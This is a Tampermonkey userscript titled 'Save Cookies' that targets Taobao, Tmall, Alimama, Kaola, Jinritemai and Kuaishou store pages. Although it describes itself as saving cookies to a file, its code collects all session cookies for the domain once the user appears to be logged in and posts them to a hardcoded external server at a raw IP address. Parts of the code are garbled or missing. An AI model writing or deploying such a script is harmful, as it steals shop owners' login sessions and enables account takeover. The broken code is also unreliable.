// ==UserScript== // @name [蛮吉]Save Cookies // @namespace https://bbs.tampermonkey.net.cn/ // @description Save cookies to a file. // @version 1.0.10 // @author [蛮吉] // @match https://*taobao.com* // @match https://*alimama.com* // @match https://*alimama.hk* // @match https://*tmall.com* // @match https://*.jinritemai.com* // @match https://*.kaola.com* // @match https://*kwaixiaodian.com* // @match // @match // @grant GM_cookie // @grant GM_xmlhttpRequest // @grant GM_registerMenuCommand // @grant GM_unregisterMenuCommand // @connect tmall.com // @connect taobao.com // @connect alimama.com // @connect alimama.hk // @connect kaola.com // @connect jinritemai.com // @connect kwaixiaodian.com // @run-at document-start // @require https://scriptcat.org/lib/513/2.0.0/ElementGetter.js // ==/UserScript== unsafeWindow.GM_cookie = GM_cookie; unsafeWindow.elmGetter = elmGetter; (function() { 'use strict'; // const sav_url = 'http://127.0.0.1:6001/api/cookies/save_cookies'; const sav_url = 'http://101.200.233.222:6001/api/cookies/save_cookies'; // 获取cookie的函数 function getCookie(connect_url){ return new Promise(function (resolve, reject) { let cookieDic = {}; console.log(connect_url); GM_cookie('list',{ domain:connect_url, // 这个网址必须 connect 一下 },(item)=>{ console.log("Cookie_length:",item); if(typeof item === 'undefined' || item.length == 0 ){ reject(""); }else{ for(var i=0;i { const text = el.textContent; // 字符串小于100 大多数情况下就是店铺名称 ,代表处于登录状态 if (text.length<100){ // 获取并保持cookie const domain = document.location.host; const targetDomain = domain.match(/taobao\.com|tmall\.com|alimama\.com|alimama\.hk|kaola\.com|jinritemai\.com|kwaixiaodian\.com/); if (targetDomain) { saveCookie(targetDomain[0]); console.log("保存cookie完成"); }; return false; // 移除监听 }; }); }); })();